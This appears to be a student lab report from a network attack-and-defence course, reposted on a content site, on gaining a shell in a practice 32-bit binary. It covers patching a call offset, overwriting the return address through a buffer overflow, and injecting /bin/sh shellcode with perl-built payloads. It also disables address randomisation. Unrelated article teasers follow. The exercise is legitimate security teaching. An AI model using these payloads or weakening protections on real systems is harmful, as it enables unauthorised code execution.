20232403 2025-2026-1 《网络与系统攻防技术》实验一实验报告

20232403 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

本次实验围绕一个pwn20232403,通过三种不同的方式,调用getShell函数。包括直接修改可执行文件本身、利用foo函数中的缓冲区溢出漏洞和注入一段精简的Shellcode。这三种方法由浅入深,从直接修改到漏洞利用,再到代码注入,完整展现了二进制安全攻防的核心思想。

2.实验过程

(1)实践一 改变程序执行流程,直接跳转到getShell函数

下载目标文件pwn1,更名,反汇编。

objdump -d pwn20232403 | more
结果如下:
1
不难发现,其中有一行"call 8048491 ",这是关键,实际上是main函数在调用别的函数,对应的机器指令为“e8 d7 ff ff ff”,其中call操作对应e8。
现在,我们希望让main函数调用getshell,那么就需要将跳转地址改为getshell的地址补码,即“c3”。

创建副本,在副本中进入vi,并搜索e8 d7,结果如下:

2

修改d7为c3:

3

退出vi后查看副本反汇编,果然,修改后调用函数发生变化:

4

运行改后的代码:

5

实践一成功

(2)实践二 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

反汇编pwn20232403

1
2
观察到,我们想要调用的是getshell函数,而main函数调用的是foo函数,但是这个函数没有进行缓冲区检测,有缓冲区漏洞,利用这个漏洞可以尝试覆盖返回地址。
现在的首要任务是确认输入多少字符可以覆盖地址
3
可以看到,当我们输入1111111122222222333333334444444455555555这一串字符时,EIP的ASCII码对应值为5555
我们将字符5修改,输入1111111122222222333333334444444412345678
4

这里可以观察到两点

第一,EIP的ASCII码对应值为1234,说明输入的1234那里会覆盖返回地址。
第二,EIP中实际存储并非31323334,而是34333231,说明存储方式是小端序,因此我们输入getshell地址也应为小端序。

构造输入字符串

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
其中\x0a为回车
结果如下:
7
8
成功调用getshell

实践二成功

(3)实践三 注入一个自己制作的shellcode并运行这段shellcode。

首先,对pwn文件进行设置

设置堆栈可执行并关闭地址随机化

5d45221039476860b9e2a5f500ad9181
7dccc30de17d7f38ad1b35fa794e4ebf

构造payload。

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

注入攻击buf,另开一终端进行gdb调试

eca5a440c516e95dfeb002ed7f3c50dc
978a6209cb1b133515d063e6bc28bf11
01020304为返回地址的位置,为ffffcf6c

根据已知重新构造payload。

perl -e 'print "A" x 32;print "\x70\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x50\xcf\xff\xff\x00"' > input_shellcode
5abcd9b0f76721ac1e6e24b2268cb0f4
运行shellcode,成功

实践三成功

3.问题及解决方案

  • 问题1:
    ┌──(kali㉿xiangyang)-[~/Desktop]
    └─$ ./pwn20232403a
    zsh: 权限不够: ./pwn20232403a
  • 问题1解决方案:
    添加执行权限
    chmod +x pwn20232403a
    ./pwn20232403a
  • 问题2:
    ┌──(kali㉿xiangyang)-[~/Desktop]
    └─$ execstack -s pwn20232403
    Failed to read program header
  • 问题2解决方案:
  1. 设置堆栈可执行
    sudo patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 pwn1
  2. 检查堆栈权限
    readelf -l pwn1 | grep -A1 -B1 STACK
  3. 关闭地址随机化
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
  4. 验证
    cat /proc/sys/kernel/randomize_va_space

4.学习感悟、思考等

通过本次实验,我对二进制程序的安全机制和攻击方法有了更深入的理解。我认识到可执行文件在不进行安全保护的情况下是十分脆弱的。作为安全学习者,我不仅需要掌握攻击技术以理解漏洞本质,更要树立安全编程意识,从源头减少漏洞的产生。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/935904.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025 年板材厂家推荐:兔宝宝以绿色创新筑根基,全链服务护健康家居需求

行业背景在 “双碳” 战略深化与城市旧改浪潮的双重推动下,中国板材产业正加速从规模竞争转向价值竞争,2025 年行业 CR10(前十大品牌市占率)已达 47.3%,绿色环保、智能生产成为核心竞争维度。消费者对健康家居的需…

基于SC译码算法的极化码解码实现与优化

1. SC译码算法原理与核心流程 串行抵消(Successive Cancellation, SC)译码是极化码的基本解码算法,其核心思想是通过递归消除已译码比特的影响,逐比特推断信息。主要步骤如下:初始化:根据接收信号计算初始似然比…

idea远程连接并本地打包到远程服务器

开发环境需要把本地的jar包打包并部署到远程服务器,idea自带远程连接。记录一下 1.idea 工具- 部署 - 配置 2.点击 左上角的 添加按钮,输入服务器地址 以及 根路径,映射则配置本地的target目录 如下3.连接成功后…

2025 年快速退火炉优质厂家最新推荐榜单:真空 / 半导体 / 晶圆 / 高温 / 桌面 / 半自动 / 全自动 / 芯片 / 硅片 / RTP 设备企业核心竞争力全面解析

当前,3C、半导体、光伏、汽车等行业迅猛发展,对快速退火炉的需求持续增长,但其市场现状却存在诸多痛点。不少厂家缺乏核心技术,产品性能不稳定,难以满足高精度生产需求;市场上厂家数量繁杂,质量参差不齐,用户面…

2025 年窗帘品牌最新推荐权威排行榜:精准剖析各品牌优势,定制 / 设计领先 / 家居等多类型窗帘优选母婴/遮光/智能/蕾丝/百叶/阳台/隔音/卷帘窗帘厂家推荐

在当前家居软装市场中,窗帘作为提升空间格调与保障生活舒适度的关键单品,其品牌选择愈发受到消费者重视。然而,市场上窗帘品牌数量繁杂,既有深耕多年的老牌企业,也有不断涌现的新兴品牌,产品质量、工艺水准与服务…

ElasticSearch基础入门和基本概念 - 详解

ElasticSearch基础入门和基本概念 - 详解pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "M…

电子合同时代来了!推荐一款人人都能用得起的电子合同系统,虽然现在电子合同平台很多,但成本都不低,现推荐一款可能是成本z低的电子合同签署系统,套餐没有有效期,并且可转让,用不完的永远不浪费

电子合同时代来了!推荐一款人人都能用得起的电子合同系统,虽然现在电子合同平台很多,但成本都不低,从3-7元每份价格不等,而且需要在有效期内消费,到期就归零了,对很多中小企业来说每年白白花费不少的成本,现推…

2025 年最新推荐!停车场系统厂商榜单重磅发布,涵盖管理 / 收费 / 无人值守 / 道闸 / 车牌识别系统优质服务商

当下城市化进程不断加速,车辆保有量逐年激增,停车场作为城市交通运转的关键环节,其智能化、高效化管理需求日益迫切。然而当前停车场系统市场鱼龙混杂,部分厂商技术实力薄弱,产品频繁出现识别故障、系统卡顿等问题…

2025 年汽车托运公司推荐排行榜,靠谱的汽车托运服务哪家好?推荐这五家汽车托运公司!优质企业深度解析,助您轻松选对汽车物流服务提供商全国门到门 / 仓储 / 跨境货运服务公司推荐

当前汽车产业飞速发展,跨区域购车、二手车流通、企业车辆调度等需求激增,汽车托运成为刚需。但行业乱象凸显,部分公司无正规资质、运输流程不规范,导致车辆损坏理赔难、运输时效拖延、隐性收费层出不穷,消费者和企…

3C电子企业柔性制造转型:如何依据MES管理系统完成快速换线与弹性生产?

3C电子企业柔性制造转型:如何依据MES管理系统完成快速换线与弹性生产?pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: …

oo

ooimport numpy as np import pandas as pd import matplotlib.pyplot as plt import seaborn as sns from sklearn.model_selection import train_test_split, KFold, cross_val_score from sklearn.linear_model imp…

实用指南:20250926的学习笔记

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2025 最新移民机构推荐排行榜:精选国内靠谱移民服务机构,助力高效规划澳洲/美国/欧洲等国移民方案

当前全球化背景下,移民需求持续增长,但移民市场却乱象丛生,给有需求的人群带来极大困扰。众多中介资质参差不齐,部分缺乏专业认证,对各国移民政策解读偏差大,导致申请受阻甚至失败;服务不透明问题突出,隐藏费用…

2026 NOI 做题记录(六)

推荐阅读:H、K、N、PContest Link \(\text{By DaiRuiChen007}\)A. [P13540] 羊驼的坎坷之旅 (6) Problem Link 首先图中点数太多,只考虑所有的 \((0,y)\) 类点,把每条路径按经过 \((0,y)\) 分段。 具体来说,设 \(w…

2025 年安防系统厂商最新推荐榜:弱电 / 智能 / 周界 / 监控等全品类服务商深度测评及选择指南

随着 AI、物联网技术与安防领域的深度融合,市场对智能安防系统的需求已从单一设备采购转向全场景解决方案。当前安防市场中,既有深耕多年的资深企业,也涌现出一批技术新锐品牌,但厂商资质、技术实力与服务能力的差…

献丑贴:Task.Run中foreach优化

有一个场景: 在Task.Run中循环执行N个任务,原来的写法:var task = Task.Run(async () =>{int i = 0;foreach (var item in tables){i++;await writefileAsync(namespace1, item, showProcess);}});_ = task.Cont…

完整教程:应用部署(后端)

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

C# 定时任务 Quartz.NET 的使用

C# 定时任务 Quartz.NET 的使用一、定时任务的介绍 相信我们在生活中,大部分都会使用到定时任务去执行自定义的业务逻辑,如:每天早上8点钟发送一份汇总好的财经报告到指定人的邮箱;或者每周一5点30分钟自动执行下载…

2025.10.13——1橙

普及- P9752 [CSP-S 2023] 密码锁 虽然只是小模拟,但确实是真题,有点感觉。

WPF 通过RawInput获取系统全局触摸事件

WPF 通过RawInput获取系统全局触摸事件在做大屏或者平板的业务,或多或少会有监听触摸事件的需求。在WPF 上,监听自身应用的触摸事件是很简单的,可以监听 Windows的 Stylus、Touch、甚至是 Mouse的事件来实现业务逻辑…